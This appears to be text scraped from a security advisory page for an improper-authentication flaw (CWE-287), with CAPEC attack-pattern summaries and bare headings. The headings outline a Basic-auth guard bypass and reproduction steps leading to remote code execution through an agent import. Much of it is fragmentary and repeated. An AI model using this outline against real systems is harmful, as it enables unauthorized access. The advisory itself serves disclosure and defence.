CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list

CWE-287

Improper Authentication

Data flow

Step 1 - Token extracted from Basic auth header

Step 2 - AuthedMethod is set to "basic", not "access_token"

Step 3 - IsBasicAuth is incorrectly set to true

Step 4 - The guard is bypassed

Step 5 - No scope ceiling in the handler

Reproducing

Recommendation

Summary

Steps to Reproduce

Step 1: Create an account (no invite, no email verification)

Step 2: Sign in

Step 3: Create a CLI auth challenge and self-approve it

Step 4: Create a company and deploy an agent via import (authorization bypass)

Step 5: Trigger the agent

Proof of Concept

Impact

Suggested Fixes

Critical: Unauthorized board access (the root cause)

Critical: Import authorization bypass (the RCE path)

Impact

Patches

Workarounds

Mitigation

CAPEC-114: Authentication Abuse

CAPEC-115: Authentication Bypass

CAPEC-151: Identity Spoofing

CAPEC-194: Fake the Source of Data

CAPEC-22: Exploiting Trust in Client

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-593: Session Hijacking

CAPEC-633: Token Impersonation

CAPEC-650: Upload a Web Shell to a Web Server

CAPEC-94: Adversary in the Middle (AiTM)

Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"`

Step 3 - `IsBasicAuth` is incorrectly set to true